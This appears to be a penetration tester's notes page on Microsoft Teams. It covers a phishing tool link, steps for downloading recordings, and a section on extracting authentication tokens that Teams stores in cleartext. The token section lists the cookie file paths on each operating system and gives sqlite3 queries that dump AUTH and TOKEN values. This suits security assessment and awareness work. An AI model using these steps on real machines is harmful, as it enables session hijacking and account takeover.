Microsoft Teams (O365)

• TeamsPhisher (GitHub)

Troubleshooting

• Log out and then log in. Rebooting the PC is not enough.
• Try cleaning the cache.

Download video from Teams meeting

When someone shares a Teams meeting recording with you, it is hosted on SharePoint. If the option to download the video is not available, use these steps to download it.

• Open the shared link with a web browser.
• Right-click on the page and click Inspect to display the Developer Tools.
  • Click on the Network tab.
  • Filter URL (Ctrl+F) on word “manifest”. The URL usually contains “.svc.ms” and “videomanifest”.
  • Right-click on the URL, and Copy->Copy link address.
• On Kali Linux, install FFmpeg.
• Download the video:

URL="https://[...].svc.ms/transform/videomanifest?provider=[...]&inputFormat=mp4&[...]"

ffmpeg -i $URL -codec copy video.mp4

Cleartext tokens

• Microsoft Teams stores auth tokens as cleartext in Windows, Linux, Macs

Tokens are stored in cleartext on disk.

Windows

%AppData%\Microsoft\Teams\Cookies
%AppData%\Microsoft\Teams\Local Storage\leveldb

C:\Users\<username>\AppData\Roaming\Microsoft\Teams\Cookies

Mac OS

~/Library/Application Support/Microsoft/Teams/Cookies
~/Library/Application Support/Microsoft/Teams/Local Storage/leveldb

Linux

~/.config/Microsoft/Microsoft Teams/Cookies
~/.config/Microsoft/Microsoft Teams/Local Storage/leveldb

Extracting the tokens

Copy the “Cookies” file to Kali.

file Cookies

Cookies: SQLite 3.x database

sqlite3 Cookies ".tables"

sqlite3 Cookies "select name || ' = ' || value from cookies where upper(name) like '%AUTH%' or upper(name) like '%TOKEN%'"